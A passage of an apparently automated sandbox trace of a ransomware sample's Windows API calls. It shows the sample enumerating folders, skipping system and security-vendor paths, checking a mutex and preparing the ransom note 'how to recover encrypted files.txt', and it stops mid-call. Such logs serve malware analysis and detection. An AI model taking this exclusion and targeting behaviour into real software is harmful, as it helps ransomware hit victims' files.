lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0041.224] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.224] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.224] GlobalUnlock (hMem=0x440004) returned 0 [0041.224] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.224] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.224] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.224] GlobalUnlock (hMem=0x440004) returned 0 [0041.224] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.224] GlobalUnlock (hMem=0x44000c) returned 0 [0041.224] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.224] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.225] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.225] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0041.225] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.225] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.225] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.225] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.225] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.225] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.225] GlobalUnlock (hMem=0x44000c) returned 0 [0041.225] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.225] GlobalLock (hMem=0x440004) returned 0x550178 [0041.225] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.225] GlobalUnlock (hMem=0x44000c) returned 0 [0041.226] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.226] GlobalUnlock (hMem=0x440004) returned 0 [0041.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0041.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0041.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0041.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0041.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0041.228] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.228] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.228] GlobalUnlock (hMem=0x440004) returned 0 [0041.228] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.228] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.228] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.228] GlobalUnlock (hMem=0x440004) returned 0 [0041.228] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.228] GlobalUnlock (hMem=0x44000c) returned 0 [0041.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61ca8, cbMultiByte=3, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529670 [0041.228] FindNextFileW (in: hFindFile=0x529670, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.228] FindNextFileW (in: hFindFile=0x529670, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0041.228] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0041.228] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.228] GlobalLock (hMem=0x44000c) returned 0x54f170 [0041.228] GlobalHandle (pMem=0x54f170) returned 0x44000c [0041.228] GlobalUnlock (hMem=0x44000c) returned 0 [0041.228] GlobalLock (hMem=0x44000c) returned 0x54f170 [0041.228] GlobalLock (hMem=0x440004) returned 0x551180 [0041.228] GlobalHandle (pMem=0x54f170) returned 0x44000c [0041.228] GlobalUnlock (hMem=0x44000c) returned 0 [0041.228] GlobalHandle (pMem=0x551180) returned 0x440004 [0041.228] GlobalUnlock (hMem=0x440004) returned 0 [0041.228] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.229] CharLowerBuffW (in: lpsz="MSADDNDR.DLL", cchLength=0xc | out: lpsz="msaddndr.dll") returned 0xc [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0041.229] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", cchWideChar=51, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL", lpUsedDefaultChar=0x0) returned 51 [0041.229] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllSADDNDR.DLL", lpUsedDefaultChar=0x0) returned 4 [0041.229] FindNextFileW (in: hFindFile=0x529670, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0041.229] GetLastError () returned 0x12 [0041.229] FindClose (in: hFindFile=0x529670 | out: hFindFile=0x529670) returned 1 [0041.230] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.230] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.230] GlobalUnlock (hMem=0x440004) returned 0 [0041.230] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.230] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.230] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.230] GlobalUnlock (hMem=0x440004) returned 0 [0041.230] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.230] GlobalUnlock (hMem=0x44000c) returned 0 [0041.230] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cd8, cbMultiByte=3, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0041.230] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0041.230] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.230] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.230] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.230] GlobalUnlock (hMem=0x44000c) returned 0 [0041.230] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.230] GlobalLock (hMem=0x440004) returned 0x551178 [0041.230] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.230] GlobalUnlock (hMem=0x44000c) returned 0 [0041.230] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.230] GlobalUnlock (hMem=0x440004) returned 0 [0041.230] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.230] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.230] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.230] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.231] GlobalLock (hMem=0x440004) returned 0x550170 [0041.231] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.231] GlobalUnlock (hMem=0x440004) returned 0 [0041.231] GlobalLock (hMem=0x440004) returned 0x550170 [0041.231] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.231] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.231] GlobalUnlock (hMem=0x440004) returned 0 [0041.231] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.231] GlobalUnlock (hMem=0x44000c) returned 0 [0041.231] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.231] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0041.231] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.231] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.231] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.231] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.231] GlobalUnlock (hMem=0x44000c) returned 0 [0041.231] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.231] GlobalLock (hMem=0x440004) returned 0x552180 [0041.231] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.231] GlobalUnlock (hMem=0x44000c) returned 0 [0041.231] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.231] GlobalUnlock (hMem=0x440004) returned 0 [0041.231] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.231] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0041.231] GetLastError () returned 0x12 [0041.231] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0041.232] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ecc490, ftCreationTime.dwHighDateTime=0x1d5bbe2, ftLastAccessTime.dwLowDateTime=0x52be0660, ftLastAccessTime.dwHighDateTime=0x1d592ec, ftLastWriteTime.dwLowDateTime=0x52be0660, ftLastWriteTime.dwHighDateTime=0x1d592ec, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1 [0041.232] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0041.232] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.232] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.232] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.232] GlobalUnlock (hMem=0x440004) returned 0 [0041.232] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.232] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.232] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.232] GlobalUnlock (hMem=0x440004) returned 0 [0041.232] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.232] GlobalUnlock (hMem=0x44000c) returned 0 [0041.232] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.232] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0041.232] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0041.232] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.232] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.232] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.232] GlobalUnlock (hMem=0x44000c) returned 0 [0041.232] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.232] GlobalLock (hMem=0x440004) returned 0x551178 [0041.232] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.232] GlobalUnlock (hMem=0x44000c) returned 0 [0041.232] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.232] GlobalUnlock (hMem=0x440004) returned 0 [0041.232] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.233] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.233] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.233] GlobalUnlock (hMem=0x440004) returned 0 [0041.233] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.233] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.233] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.233] GlobalUnlock (hMem=0x440004) returned 0 [0041.233] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.233] GlobalUnlock (hMem=0x44000c) returned 0 [0041.233] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.233] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared", len=0x2e | out: pbstr=0x18f444*="C:\\Program Files\\Common Files\\Microsoft Shared") returned 1 [0041.234] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.234] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.234] GlobalUnlock (hMem=0x44000c) returned 0 [0041.234] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.235] GlobalLock (hMem=0x440004) returned 0x551178 [0041.235] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.235] GlobalUnlock (hMem=0x44000c) returned 0 [0041.235] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.235] GlobalUnlock (hMem=0x440004) returned 0 [0041.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\ition\\") returned 26 [0041.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Microsoft\\Exchange Server", 